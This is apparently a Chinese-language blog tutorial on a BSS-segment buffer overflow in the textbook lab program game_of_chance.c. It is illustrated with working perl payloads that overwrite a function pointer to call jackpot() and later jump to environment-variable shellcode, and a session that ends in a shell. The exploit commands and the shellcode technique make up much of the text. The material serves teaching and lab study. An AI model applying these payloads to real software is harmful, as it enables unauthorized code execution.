BSS段的溢出攻击

作者：M0rk
作者博客：https://kevien.github.io/

TL;DR

缓冲区溢出除了典型的栈溢出和堆溢出外，还有一种发生在bss段上的，bss属于数据段的一种，通常用来保存未初始化的全局静态变量。wiki

测试环境ubuntu14.04X86.

vul code snippet

from game_of_chance.c

// Custom user struct to store information about users 
struct user {
    int uid;
    int credits;
    int highscore;
    char name[100];
    int (*current_game) ();
};
...
struct user player;     // Player struct

其中game_of_chance 是如下图的一个小游戏

如上的代码片段中用一个函数指针保存了上次玩了哪个游戏，这个指针保存在user的结构体中，且被声明为全局变量，这意味着user这个结构体变量保存在bss数据段。其中结构体中固定为100字节的name变量保存了用户的姓名，且这个name是可以被input_name()这个函数所控制的，如下：

void input_name() {
   char *name_ptr, input_char='\n';
   while(input_char == '\n')    // Flush any leftover 
      scanf("%c", &input_char); // newline chars.

   name_ptr = (char *) &(player.name); // name_ptr = player name's address
   while(input_char != '\n') {  // Loop until newline.
      *name_ptr = input_char;   // Put the input char into name field.
      scanf("%c", &input_char); // Get the next char.
      name_ptr++;               // Increment the name pointer.
   }
   *name_ptr = 0;  // Terminate the string.
}

这个函数会接收用户输入的名字直到用户输入换行符，所以这里并没有有效的限制用户输入，就意味着可以被利用，此外我们覆盖之后还需要程序去调用这个函数指针，这个功能可以发生在下面代码的6、8或者10行以及play_the_game()函数中，代码片段如下：

if((choice < 1) || (choice > 7))
       printf("\n[!!] The number %d is an invalid selection.\n\n", choice);
    else if (choice < 4) {  // Othewise, choice was a game of some sort.
          if(choice != last_game) { // If the function ptr isn't set
             if(choice == 1)        // then point it at the selected game 
                player.current_game = pick_a_number;   
             else if(choice == 2)                     
                player.current_game = dealer_no_match;
             else
                player.current_game = find_the_ace;
             last_game = choice;   // and set last_game.
          }
          play_the_game();   // Play the game.
       }

漏洞利用

如果last_game 未设置，函数指针current_game 会被指向成0或者-1，这时不会触发漏洞，后面last_game被设置成1，当修改完名字完成对current_game覆盖再玩游戏1的时候，进入play_the_game()函数,play_the_game()会有current_game指针变量的调用，此时漏洞即触发！！！

我们可以通过ctrl+z挂起当前的进程(这个时候last_game变量被设置成了1(因为刚才玩的是游戏choice是1))，我们找到可以被溢出的变量name，然后通过简单调试看一下name和current_game指针在内存中的位置关系。

如上图所示，正好是100个字节，通过以上我们可以进行如下的覆盖尝试

xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "A"x100 . "BBBB" . "\n"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

可以看到程序崩溃之前curren_game已被成功覆盖为BBBB，这个时候我们需要一个”有效的”地址去做我们想要做的事情。

nm命令可以查看程序的符号表，来看一下程序有哪些函数以及其对应的内存地址（此思路常用于破解）。

jackpot函数是我们理想的目标，这个函数用来给我们增加”金币”,所以当current_game函数指针被覆盖成这个函数的时候，我们就可以拥有无数”金币”

这个程序通过标准输入进行用户交互，我们完全可以使用脚本实现自动化，如下的例子将会自动选择游戏1，然后猜测数字7，当被问是否还玩的时候选择no，最后通过选择7退出程序。

perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance

同样的技巧可以用到自动化exploit中，下面的命令会完成修改用户名为100个A加jackpot()的地址，这个时候就覆盖掉了current_game的地址，然后当再次选择我们要玩的游戏的后，jackpot()函数就会被调用。

xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance 
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 90 credits] ->  
[DEBUG] current_game pointer @ 0x08048f15
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 11
Sorry, you didn't win.
You now have 80 credits
Would you like to play again? (y/n)  -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 80 credits] ->  
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��]
[You have 80 credits] ->  
[DEBUG] current_game pointer @ 0x08048ca5
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 180 credits
Would you like to play again? (y/n)  -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��]
[You have 180 credits] ->  
Thanks for playing! Bye.
xxx@ubuntu:~/Desktop/pwntest/bssexploit$

可以看到函数被调用我们增加了100金币

因为只要有调用函数指针的操作就会触发jackpot函数，只要我们不退出，就可以无限刷金币,像是如下：

perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\n" ."y\n"x10.  "n\n5\nM0rk\n7\n"' | ./game_of_chance

到这里可能有人会问那能不能getshell呢，答案是可以的，我们知道每个运行的程序都会加载系统变量，我们可以事先将shellcode写入到环境变量中，然后将跳转地址指向shellcode，就可以执行我们的shellcode了。getenvaddr用来获取SHELLCODE环境变量在程序运行时候所在的地址。

xxx@ubuntu:~/Desktop/pwntest/bssexploit$ echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                          XQh//shh/bin��Q��S��̀
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff206
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\x06\xf2\xff\xbf\n" . "1\n"' > exploit_buff
xxx@ubuntu:~/Desktop/pwntest/bssexploit$ cat exploit_buff - | ./game_of_chance 
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 1260 credits] ->  
[DEBUG] current_game pointer @ 0x08048f15
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number
between 1 and 20, and if you pick the winning number, you
will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 6
Sorry, you didn't win.
You now have 1250 credits
Would you like to play again? (y/n)  -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: M0rk]
[You have 1250 credits] ->  
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���]
[You have 1250 credits] ->  
[DEBUG] current_game pointer @ 0xbffff206
id
uid=1000(xxx) gid=1000(xxx) groups=1000(xxx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

相关源码下载

github repo

reference

《Hacking the art of exploitation》0x342

源链接

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